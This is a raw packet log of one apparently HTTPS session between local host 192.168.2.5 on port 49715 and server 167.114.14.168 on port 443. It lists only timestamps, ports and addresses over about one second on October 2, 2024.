Oct 2, 2024 06:10:13.488724947 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.538861990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.549809933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.549823046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.549896955 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.550013065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.550030947 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.550048113 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.550060034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.550086975 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.550092936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.550122023 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.550276995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.550293922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.550350904 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.550359011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.550595045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.550617933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.550657034 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.550664902 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.550685883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.551034927 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.551059961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.551100969 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.551109076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.551134109 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.551275015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.551299095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.551337004 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.551343918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.551362991 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.551533937 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.551548958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.551613092 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.551621914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.577184916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.577203989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.577256918 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.577275991 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.577321053 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.632591963 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.638601065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.638612032 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.638654947 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.638691902 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.638695002 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.638700962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.638722897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.638736010 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.638739109 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.638748884 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.638761044 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.638880968 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.639199972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.639214993 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.639277935 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.639285088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.639427900 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.639447927 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.639514923 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.639523029 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.639709949 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.639724970 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.639769077 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.639775991 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.639805079 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.639983892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.640002012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.640059948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.640068054 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.640228987 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.640245914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.640290976 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.640300035 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.640317917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.665698051 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.665719032 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.665790081 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.665807962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.665838003 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.710743904 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.727118015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.727130890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.727168083 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.727199078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.727231979 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.727268934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.727298021 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.727305889 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.727329016 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.727339029 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.727350950 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.727375984 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.727422953 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.727564096 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.727581978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.727653980 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.727669954 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.727730036 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.727785110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.727799892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.727869034 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.727881908 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.727941990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.728166103 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.728183985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.728266954 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.728280067 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.728351116 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.728393078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.728411913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.728478909 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.728492022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.728547096 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.728627920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.728643894 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.728734016 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.728748083 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.728807926 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.754333973 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.754354000 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.754442930 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.754458904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.754504919 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.815725088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.815769911 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.815905094 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.815918922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.815933943 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.815952063 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.815993071 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.816023111 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.816050053 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.816068888 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.816210985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.816226959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.816283941 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.816298962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.816354036 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.816519976 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.816536903 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.816586971 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.816601992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.816627026 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.816653013 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.816796064 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.816828012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.816867113 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.816900015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.816927910 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.816950083 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.817048073 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.817065001 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.817123890 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.817136049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.817186117 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.817389011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.817405939 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.817482948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.817482948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.817497969 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.817579031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.842849970 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.842875957 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.842964888 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.842972994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.842983007 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.843018055 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.904244900 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.904268980 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.904448986 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.904524088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.904536009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.904611111 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.904640913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.904654026 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.904654026 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.904659986 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.904722929 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.904747963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.904774904 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.904942036 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.904959917 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.905008078 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.905026913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.905051947 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.905304909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.905318975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.905375004 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.905392885 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.905544996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.905564070 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.905601978 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.905621052 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.905648947 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.905817986 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.905834913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.905899048 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.905916929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.931474924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.931509972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.931598902 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.931622028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.976353884 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.992850065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.992862940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.992902040 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.992954969 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.992983103 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.993004084 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.993027925 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.993073940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.993091106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.993139982 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.993148088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.993186951 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.993381977 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.993397951 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.993458033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.993464947 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.993506908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.993573904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.993590117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.993654966 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.993660927 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.993700981 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.993875027 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.993889093 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.993938923 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.993944883 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.993985891 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.994124889 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.994143009 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.994179964 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.994190931 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.994210005 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.994230986 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.994374037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.994390965 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.994451046 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.994457960 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.994497061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.998780012 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.020088911 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.020106077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.020250082 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.020262003 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.020304918 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.081512928 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.081538916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.081633091 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.081657887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.081707954 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.081783056 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.081798077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.081852913 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.081861019 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.081907034 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.082636118 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.082653999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.082735062 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.082741022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.082786083 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.082946062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.082969904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.083018064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.083024979 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.083040953 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.083066940 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.083210945 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.083226919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.083302021 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.083307981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.083357096 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.083482981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.083503008 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.083575010 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.083580971 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.083596945 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.083620071 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.108479023 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.108506918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.108706951 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.108726978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.108776093 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.171926022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.171951056 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.172004938 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.172034025 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.172039032 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.172059059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.172070026 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.172116041 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.172197104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.172210932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.172291994 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.172298908 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.172492981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.172512054 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.172566891 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.172574997 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.172776937 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.172791004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.172837019 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.172844887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.172872066 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.173003912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.173038006 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.173063993 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.173072100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.173095942 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.173418045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.173449039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.173492908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.173516035 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.173527956 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.197063923 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.197084904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.197159052 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.197168112 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.241961002 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.260554075 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.260570049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.260608912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.260651112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.260663033 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.260675907 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.260687113 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.260703087 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.260709047 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.260720015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.260736942 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.260776043 CEST	49715	443	192.168.2.5	167.114.14.168
